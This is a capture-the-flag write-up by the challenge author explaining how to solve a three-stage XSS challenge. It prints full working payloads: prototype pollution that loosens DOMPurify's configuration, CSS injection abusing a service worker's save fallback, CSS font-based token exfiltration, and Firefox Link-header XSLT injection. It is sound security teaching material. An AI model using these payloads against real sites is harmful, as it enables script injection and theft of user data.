After 30 days of competition, the event is now over and only one team managed to solve the last part and claim the prizes. The goal was to find an XSS to alert the final flag. The challenge was divided in three parts, each of them containing a token allowing you to progress further. At the end, your exploit should be able to go through all the steps without any user interaction to finally trigger the alert. In this writeup all the token will be replaced by DEMO_TOKEN this is a joker token only used for the solution.

Let's see how you were supposed to solve it.

The crypt

The app is pretty simple, it creates a bunch of coffins, loads some configurations and creates a link to the next step.
The only user input on this page is the name GET parameter, it's injected inside a configuration script.

<script id="user-config" type="config">

This configuration is read by the app and used to generate a link.

var App = function(){
    // read the config from the DOM
   let user_conf = parse_config("user-config")
   let server_conf = parse_config("server-config")
   // cleaners used later to remove XSS
   let cleaners = {
     "DOMPurify": DOMPurify.sanitize,
     "none": html => html,
     "blacklist": html => {
       var blacklist = [/script/ig, / on[a-z]+=/ig]
       blacklist.forEach(word => html = html.replace(word, "_"))
       return html;

   // greet function looks vulnerable because of the innerHTML
   this.greet = function(name){
     document.getElementById("name").innerHTML = name
   this.start = function(){
     // Generate a bunch of coffins
     generate_coffins(document.getElementById("coffin-list"), 56)

     // Get the name from user config (we control this)
     let name = user_conf.getWithDefault("name", "Traveler")

     // Get selector for the link container from the server config
     let selector = server_conf.getWithDefault("selector")
     let container = document.querySelector(selector);

     // Get the right cleaner from the server config
     let cleaner_name = server_conf.getWithDefault("security.cleaner", "none")
     let cleaner = cleaners.getWithDefault(cleaner_name, cleaners["none"])

     // Get all the url config from the server config
     let protocol = server_conf.getWithDefault("url.protocol", "http://")
     let domain = server_conf.getWithDefault("url.domain", "localhost")
     let token = server_conf.getWithDefault("url.token", "DEV_TOKEN")
     let path = server_conf.getWithDefault("url.path", "/link")

     // Load class from user config 
     let cls = user_conf.getWithDefault("class", "coffin-link")
     let url = `${protocol}${domain}/step_1/${token}${path}?class=${cls}`

    // An ajax call is then made to create the link
    // the link is then cleaned and added to the DOM 
       .then(r => r.text())
       .then(html => {
         container.innerHTML = cleaner(html)

An ajax call is made line 52 to create our link, the request looks like this:

<a class="coffin-link" href=" trial"></a>

The link is then added to the DOM using .innerHTML and the class parameter is clearly vulnerable to XSS injection.

<a class="coffin-link"><svg onload="alert(1)" href=" trial"></a>

So if we control class we should be able to trigger our XSS.

We see line 46 that the class of link is fetched from the user configuration, it is possible to control this using a new line injection in our name.
We need to use double urlencoding to pass through HTML escaping.

GET onload=%2522alert(1)
<script id="user-config" type="config">
class=coffin-link%22%3e%3csvg onload=%22alert(1)

But our alert didn't trigger. It's because of the cleaner line 55.

The cleaner config is set to "DOMPurify" this means our link is passed through DOMPurify.sanitize before being added to the DOM.

DOMPurify is a super effective XSS sanitizer and it's used with default config, so it should be safe? Right? ... Yes, DOMPurify is, as far as I know, safe with default config. But there is a way to sneak in some bad configurations.

The configuration parser allows us to change the value inside the config object. It also allows us to create Object of our own using the brackets or Array using comma.

//syntax example:

Translated to javascript:

config["spook_level"] = "42"
config["spook_color"] = ["255", "0", "0"]
config["obj"]["name"] = "sketal"
config["obj"]["attr"] = ["spooky", "scary"]

Using __proto__ as a variable name we should be able to do some object poisoning.

The __proto__ property of Object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed.

Basically, object poisoning consist of changing the Object default constructor to add some malicious properties.

It look like this:

let obj = {}
let config = {}

console.log("test" in config) // > false

// we modify the __proto__ of obj
obj["__proto__"]["test"] = "Hello"

// config is poisoned
console.log("test" in config) // > true
console.log(config.test)      // > "Hello"

How can we use this to our advantage?
If we look at DOMPurify source code, we see that DOMPurify check if we submitted a cfg  parameter with a type of Object, and if not it creates an empty one.

/* Shield configuration object from tampering */
if (!cfg || (typeof cfg === 'undefined' ? 'undefined' : _typeof(cfg)) !== 'object') {
cfg = {};

This mean that if we poison the default object constructor we should be able to modify the default configuration of DOMPurify.

DOMPurify supports a lot of configurations, one of them is ALLOWED_ATTR, it allows the user to specify which html attributes are white-listed.

Let's try to inject some new ALLOWED_ATTR inside dom purify.

GET onload=%2522alert(1)%0a__proto__[ALLOWED_ATTR]=onload,href
<script id="user-config" type="config">
class=coffin-link%22%3e%3csvg onload=%22alert(1)

Ta-Dah! The alert popup.

Now, we just need to get the url for the trial and continue our quest.
By allowing href in ALLOWED_ATTR our svg keeps the href to the next step, getting the url is simple as this.attributes.href.value.

Solution Link

The Trial

The trial is a Rock/Paper/Scissors game with severed hands, lovely. In your turn you are asked to choose one of the three moves, if you win your score increases by one, if you lose, it decreases by one. To win, you need a score of a hundred.
You are also able to save and reload your score.

When the page is loaded the score is automatically reloaded from the previous save and displayed using the Game.console method. This method is not safe at all as it uses div.innerHTML on line 213.

   console(s, sticky){
     let div = document.createElement("div")
     if (sticky === true)
     div.innerHTML = s // if we control s, we can inject html
     if (sticky !== true){
       setTimeout(()=> this.console_el.removeChild(div), 5000);

Let's try to understand how the save system works.
In order to save your game you need to do a GET request to{"score":100}.

If we set our score to 100 and refresh the game page we see the console message telling us that we won and a link to progress to the next step. This is nice but our goal is to get some sweet XSS.

If we try to inject some html code instead of a number for the score, we get the following response:

{"error": "'test' is not of type 'number'"}

And if we try to add an other attribute:

GET{"score":100, "test": "test"}
{"error": "Additional properties are not allowed ('test' was unexpected)"}

If the server side save system is secure, how can we exploit this page ?
By taking a closer look, we see that the page registers a service worker.

if (!navigator.serviceWorker.controller){

What the f%&$ is a service worker ? According to Mozilla:

Service workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). They are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server.

What does our service worker do ?

  • The service worker works as a proxy between the client and the server.
  • If the request ends with /ai/[0-9], /save or /load then the service worker checks for the presence of the x-api-msg header in the response.
  • If it's here and equal to OK that means the server handled the request properly and the worker forwards the response to the client.
  • If the header is missing or not equal to OK the service worker handles the request itself using the *_fallback functions.

Lets look at how /save is handled inside the service worker.

function handle_save(url, response){
    if (response.headers.get("x-api-msg") != "OK"){
        // If the header is missing or wrong, use the fallback
        return save_fallback(save_param)

    // if everything is OK
    // save the response inside the SAVE object for later use
    let save_param = param_from_url(url, "save", "")
    let new_save = JSON.parse(save_param)
    SAVE = Object.assign(SAVE, new_save)
    return response

function save_fallback(url){
    let save_param = param_from_url(url, "save", "")
    console.log("Using save fallback", save_param);
    // The save function checks that the save parameter is valid json
    try {
        let new_save = JSON.parse(save_param)
        // If yes, save it inside the SAVE object
        SAVE = Object.assign(SAVE, new_save)
        let data = JSON.stringify({msg: "Saved !"})
        let conf = {
            headers: {
                'Content-Type': 'application/json',
        return new Response(data, conf)
    } catch(error) {
	// If no, send an error
        let data = JSON.stringify({error: "Invalid JSON !"})
        let conf = {
            headers: {
                'Content-Type': 'application/json',
        return new Response(data, conf)

But wait a minute, the service worker only checks for valid json, this means we can replace our score with a HTML string to trigger an XSS.

What do we need now ?

  • Some user input as there is no GET/POST parameter on this page
  • A way to use the service worker version instead of the server version
  • A way to trigger a GET request with our payload

If we look at the CSS of the page we see that the path of the page is reflected inside a content rule.

  content: "The trial - TEST";

There is a filter removing all <> but we can still inject some css.

  content: "The trial - TEST"; background: red; content: "test";

Using css we can trigger a GET resquest with background-image or any attribute allowing url() function.
Let's try to automatically win the game with only one link. Since content supports url()

content: "The trial" url('./save?save={"score": 1000}');}/*";

Nice, it's working. But we are still limited to numeric score by the server.

The last step is to find a way to use the service worker instead of the server loading system.
If we try to append some non-existing path to the url, the page still loads as usual but we see a new message in the console.

"using load fallback"

Why is the page using the load fallback instead of the original one ? Let's look where the request is sent.

     return fetch("load") // Here
       .then(r => r.text())
       .then(savefile => this.load_save(savefile))

The fetch is made using a relative path! That mean our load request is sent to

instead of

But our server only responds to ajax call on the second one. We can abuse this and store our malicious HTML inside the score variable of the SAVE object in the worker.

Let's try to alert (we need to use double urlencoding again)


In the console we can see:

Using save fallback {"score": "<svg onload=alert(1)>&#96;"}

But the alert is not triggered. After digging a bit, we see that before being added to the dom our score is sanitized with the as_clean_str function.

 function as_clean_str(data){
   if (typeof data == "number"){
     return data.toString()
   } else {
     let blacklist = "<>/\\'\""
     return, c => blacklist.indexOf(c) == -1).join('')

Basically, if the data is a number, return it. If it's something else (for example a string) iterate over it and remove any character from the blacklist <>/'"\.

This is a simple blacklist function and the bypass for it is also simple. Just use an array. The function will iterate over each element of the array instead of each characters.

as_clean_str(42)                            // 42
as_clean_str("<svg onload=alert(1)>")       // "svg onload=alert(1)"
as_clean_str(["<svg", " onload=alert(1)>"]) // "<svg onload=alert(1)>"

Now we stich everything together.'./save%3fsave=%7B%22score%22:%20[%22%253csvg%22,%22%20onload=alert(1)%253e%60%22%5d%7D%27%29;%7D/*

A short way to get the token for the next part is to convert Game to string and use substring.
alert((Game+[]).substr(3223,10)) will give you the next token.

Solution link

The Mind

The mind is, as the text suggests, a really simple task.

 var unlimited_power = eval;
 function enter_the_mind(prayer){

 whenReady(evt => {
   let url = new URL(document.location);
   let params = new URLSearchParams(;
   let lines = (params.get("prayer") || "").split("\n")
   let sacred_word = lines.pop()
   let prayer = lines.join("\n")

   if (sha512(sacred_word) === "365a9655bb51094445e8ec5571e2a231837d2d1845fcaa181e29fc0c3e11c1111b141f7923d4a98ff98ec2d7c671eb2c6411476415f5715bb59a89a4858d5311"){


We can submit a prayer using GET parameter, it will be divided in two parts:

  • the sacred_word (the last line of our input)
  • the prayer (everything but the last line of input)

If the sacred_word sha512 hash matches: we will be granted "unlimited power" aka eval. Since sha512 is quite difficult to brute-force there must be a way to find the correct sacred_word. We can find a clue in the description of the task.

The mirror keeps the sacred words.

Indeed the sha512 visible on the mind is the hash of the content of the mirror.

But how can we get the content of the mirror ?

The mirror

The mirror is an iframe pointing to The document is a simple html page containing a 10 digits token. This token happens to be the sacred_word, but since all tokens are user specific we cannot just copy/paste it in our solution. This means, if we want to trigger the XSS on the mind we need to exfiltrate the sacred_word from the mirror.

The actual iframe to the mirror uses a GET parameter name Content-Security-Policy and this parameter is reflected inside the response headers. Let's try to add an other parameter.

GET /step_3/DEMO_TOKEN/mirror?Content-Security-Policy=nope&X-Test=Test HTTP/2
User-Agent: curl/7.62.0
Accept: */*

HTTP/2 200 
content-security-policy: nope
x-test: Test
content-type: text/html; charset=utf-8
content-length: 832
date: Mon, 19 Nov 2018 16:38:24 GMT

All the get parameters are reflected but only as a header and not in the actual HTML response.

To solve this we need to find a way to exfiltrate our token using only response header. The obvious next step is to try Access-Control-Allow-Origin to allow cross origin read. But this is not possible, as the server blocks this header and replaces it with "not this one".

One week before the end of the challend, this step was still undefeated. So I gave a hint :

Find the link between the mind and the mirror.

This hint was supposed to tell you about the link header.

According to the RFC 5988

The Link entity-header field provides a means for serialising one or    more links in HTTP headers.  It is semantically equivalent to the    <LINK> element in HTML ...

This link header is, sadly, only supported by Firefox. It allows to load a resource like a style directly from a header.

For example:,%2523secret{color:blue%20!important}%3E;rel=stylesheet&Content-Security-Policy=a

Gives us the same page with a blue text, our Link injection is working !

From here there are two solutions:

  • Use some clever CSS to steal the token
  • Use some magic to add javascript using the link header.

Using css

Using the technique described here and the load/save mechanism from the trial, it's possible to know which char are present in the token. If we inject this css, and the letter a is inside the secret, a GET request will be made to the trial, saving 61 as our score.

@font-face {
unicode-range:U+0061 /*Only the letter 'a'*/
#secret {
font-family: a !important;

Combining this with the content-length header and some clever css. Team Cure53 managed to find an unintended working solution.[ALLOWED_ATTR]=src,onerror,href,id#location=a.href+'/%22;background:url(\'save?save={%22score%22:[%22%25253Ciframe%20onload=eval(unescape(location.hash.slice(1)))%25253E%22]}\')}#i=document.createElement(%2522iframe%2522);document.body.appendChild(i);n=800;z=%2522%2522;b=location.href.split(%60/%60)[4];t=document.body.innerHTML.match(/n%2520=%2520%2522([^%2522]+)/)[1];function%2520s(){a=%2522%2522;if(n!=791){a=%2522div::first-line{font-family:none}@keyframes%25252520a{0%25252525{width:300px}100%25252525{width:0}}%2522}u=%2560//${t}/mirror?Content-Security-Policy=&Link=%25253Cdata:,@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:61});unicode-range:U%25252B0061}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:62});unicode-range:U%25252B0062}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:63});unicode-range:U%25252B0063}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:64});unicode-range:U%25252B0064}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:65});unicode-range:U%25252B0065}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:66});unicode-range:U%25252B0066}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:0});unicode-range:U%25252B0030}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:1});unicode-range:U%25252B0031}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:2});unicode-range:U%25252B0032}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:3});unicode-range:U%25252B0033}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:4});unicode-range:U%25252B0034}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:5});unicode-range:U%25252B0035}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:6});unicode-range:U%25252B0036}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:7});unicode-range:U%25252B0037}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:8});unicode-range:U%25252B0038}@font-face{font-family:a;src:url(${b}/save?save%2525253D{%2525252522score%2525252522:9});unicode-range:U%25252B0039}div{font-family:a%25252520%25252521important;animation:a%2525252030s%25252520linear;word-break:break-all}${a}%25253E;rel=stylesheet&content-length=%2560+n;i.src=u;f();}function%2520f(){fetch(%2560/step_2/${b}/load%2560).then(x=%253Ex.json()).then(x=%253E{y=x.score;if(y==99%7C%7CisNaN(y)){f()}else{if(10%253Cy){y=String.fromCharCode(%25220x%2522+y)}z=y+z;console.log(z);if(z.length==10){location=%2560//${t}/?prayer=alert(KEY)%25250A%2560+z};fetch(%2560/step_2/${b}/save?save={%2522score%2522:99}%2560).then(x=%253Ex).then(x=%253E{n--;s()})}})}s()'

But it's slow, and one of the challenge rules was:

You don't need to guess or bruteforce any token.

And this solution still use some kind of bruteforce.

Using magic

To understand how Firefox handles this Link header we need to look at the source code. Inside the file  dom/base/nsContentSink.cpp you'll find the function nsContentSink::ProcessLinkHeader this function parses the Link header and inserts a link into our document.

Following the code, we see that only a small subset of attribute are allowed rel, title, type, media ..., without any of the javascript onevent. Also, the only valid type is 'text/css'.

if (!mimeType.IsEmpty() && !mimeType.LowerCaseEqualsLiteral("text/css")) {
// Unknown stylesheet language
return NS_OK;

This doesn't look good for injecting JS.

Luckily there is another class which inherits from nsContentSink: nsXMLContentSink. It's a specialized version of nsContentSinkused for XML files.

This version of nsXMLContentSink::ProcessLinkHeader handles the parsing a bit differently and allows the link to load some XSLT.

Extensible Stylesheet Language Transformations (XSLT) is an XML-based language used, in conjunction with specialized processing software, for the transformation of XML documents.

XSLT allow us to modify the rendering of an XML file.

If you look closely at the source of every step of the challenge you will notice that all the HTML files are also valid XML. All the HTML use self-closing syntax when it's not required by html5 anymore. This particular setup, used with Content-Type=text/xml forces Firefox to use the nsXMLContentSink::ProcessLinkHeader method allowing us to inject some XSLT.

<xsl:stylesheet xmlns:xsl="" version="1.0"><xsl:output method="html"/>
  <xsl:template match="/">

We use xsl:output method="html"  to ensure that our output will be in HTML, and we replace the content of / (the root element) with our simple payload <script>alert(1)</script>.  to simplify the encoding of the url, we'll use base64 inside our data url.

We need the following headers:

Link: <data:;base64,{our_xsl_exploit_in_base64}>;rel=stylesheet;type=text/xsl
Content-Type: text/xml
Content-Security-Policy: nope
Solution Link

With this you can now recover the sacred_word and grab the flag on the mind.

Complete Solution

Only the Cure53 team was able to solve all three step with this solution[ALLOWED_ATTR]=src,onerror,href,id#location=a.href+'/"url(\'save?save={"score":["%253Csvg/onload=eval(unescape(location.hash.slice(1)))%253E"]}\')}#location=`//${/n.=..(.{10})/.exec(body.innerHTML)[1]}/mirror?Content-Security-Policy&Content-Type=text/xml&link=<data:;base64,PGw6dHJhbnNmb3JtIHhtbG5zOmw9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMSI%252BPGw6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjxsOnRlbXBsYXRlIG1hdGNoPSIvL2hlYWQiPjxpZnJhbWUgb25sb2FkPSJsb2NhdGlvbj0nLy9taW5kLnMtcC1vLW8tay15LmNvbS9zdGVwXzMvJytVUkwuc3BsaXQoJy8nKVs0XSsnP3ByYXllcj1hbGVydChLRVkpJTBBJythbGxbMF0ubGFzdENoaWxkLmRhdGEudHJpbSgpIi8%252BPC9sOnRlbXBsYXRlPjwvbDp0cmFuc2Zvcm0%252B>;rel=stylesheet;type=text/xsl`'
Solution Link

Shootout to @sacriyana who almost managed to exfiltrate the sacred_word using css.


I had a lot of fun making this challenge and watching all your payloads. I hope you enjoyed this as well.

You can contact me on twitter @BitK_ if you have any questions about this or the next (?) Spooky Challenge.